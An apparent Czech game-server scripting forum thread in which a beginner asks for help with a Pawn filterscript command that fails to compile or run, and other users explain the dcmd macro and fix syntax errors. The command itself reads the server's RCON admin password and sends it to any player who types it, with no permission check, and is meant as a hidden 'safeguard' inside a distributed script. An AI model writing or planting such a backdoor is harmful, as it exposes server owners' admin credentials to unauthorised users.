Jump to content
  • 0

pomoc Warning 203


Tomas34

Dotaz

Popis problému:

warning 203: symbol is never used: "dcmd_Prikaz"

 

 

Poradíte někdo, co s tím warningem prosím?

Zkoušel jsem zdali FS bude fungovat i s tím warningem, nefunguje.

 

Zkoušel jsem i :

#define dcmd(%1,%2,%3) if ((strcmp((%3)[1], #%1, true, (%2)) == 0) && ((((%3)[(%2) + 1] == 0) && (dcmd_%1(playerid, "")))||(((%3)[(%2) + 1] == 32) && (dcmd_%1(playerid, (%3)[(%2) + 2]))))) return 1

Nefunguje.

 

 

Příkaz chci dát do svého FS, jako takovou menší pojistku.

 

Budu vděčný za každou radu.

 

 

Jsem začátečník.

S pawnem ještě tolik neumím.

 

Chyby/varování kompilátoru a při běhu:

--

 

Kód:

 

dcmd_Prikaz(playerid, params[])
{
    #pragma unused params
    new pass[256];
GetServerVarAsString("rcon_password", pass, 255);

format(pass, sizeof(pass), "RCON HESLO: %s"pass);
SendClientMessage(playerid, 0xFFFFFFFF, pass);
return 1;
}

 

 

 

Dodatečné poznámky:

--

Link to comment
Share on other sites

5 odpovědí na tuto otázku

Recommended Posts

  • 0
  • Globální moderátor

Do OnPlayerCommandText

 

dcmd(Prikaz,6,cmdtext);

 

 

Každopádně 

warning 203: symbol is never used: "dcmd_Prikaz"

 

Tohle patří do Chyby/varování kompilátoru a při běhu:

Link to comment
Share on other sites

  • 0

Do OnPlayerCommandText

 

dcmd(Prikaz,6,cmdtext);

 

 

Každopádně 

warning 203: symbol is never used: "dcmd_Prikaz"

 

Tohle patří do Chyby/varování kompilátoru a při běhu:

 

Objeví se toto : 

error 017: undefined symbol "dcmd"
warning 203: symbol is never used: "dcmd_Prikaz"
 
Když definuji dcmd, tak se ukáže toto :
error 001: expected token: "-string end-", but found "-identifier-"
warning 215: expression has no effect
error 001: expected token: ";", but found ")"
error 029: invalid expression, assumed zero
fatal error 107: too many error messages on one line
 
 
Link to comment
Share on other sites

  • 0

Chyba bude tady: 

 

format(pass, sizeof(pass), "RCON HESLO: %s"pass);

 

Mrkni na to a chybu snad uvidíš

 

Má to vypadat takto?

 

format(pass, sizeof(pass), "RCON HESLO: %s", pass);

 

Pokud ano, tak mi to stejně nepomohlo.

Když jsem to dal zkompilovat, tak se mi ukázalo toto:

 

Pawn compiler 3.2.3664 Copyright © 1997-2006, ITB CompuPhase
 
Header size:            568 bytes
Code size:            41032 bytes
Data size:            40756 bytes
Stack/heap size:      16384 bytes; estimated max. usage=4276 cells (17104 bytes)
Total requirements:   98740 bytes
 
To jsem taky nakonec vyřešil, tak že jsem nahoru napsal : #pragma dynamic 14825
Nakonec se objevilo, že je vše v pořádku, ale na serveru mi to stejně nefunguje.
Link to comment
Share on other sites

  • 0
  • Globální moderátor

Tak první věc co si musíme ujasnit je co je error, co warning a který z nich mají dopad na běh serveru. Zde je potřeba taky pochopit základní princip dcmd, ale ten ti tu nebudu vysvětlovat. Spíš se vrhnu na problémy, se kterými ses teď setkal. Errory v pawnu jsou velmi jasně a srozumitelně dané (ještě aby ne že). Těch errorů/warningů není tolik a především nepotřebuješ C1 ájinu abys je vyluštil. Takže projít si tenhle seznam – http://wiki.sa-mp.com/wiki/Errors_List. 

 

Warning, který se vztahuje k dcmd má zrovna vliv na běh serveru, ale to bych musel vykládat jak funguje dcmd. Ve zkratce se jedná o makro, které "přepisuje" příkaz do funkce, proto je třeba ho vložit do OnPlayerCommandText, jinak se na serveru neprojeví

 

Co se týče tabulky na konci, tak ta nemá žádný vliv, jenom upozorňuje kolik tvůj kód zabírá (potencionálně) paměti. #pragma dynamic bych se vyvaroval, pokud nevyvíjíš větší projekt. Všechny tyhle informace jsou ovšem dostupné v sekci Návodu. Pokud se ti taková tabulka objevila na konci malého scriptu, děláš něco blbě a je potřeba s pamětí zacházet šetrněji

 

Příkaz ti nefunguje a to může způsobit spoustu věcí, zkus si zkontrolovat jestli příkaz je opravdu nahraný na server a popřípadně zkus ten příkaz dát do lowercase (dcmd_prikaz)

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...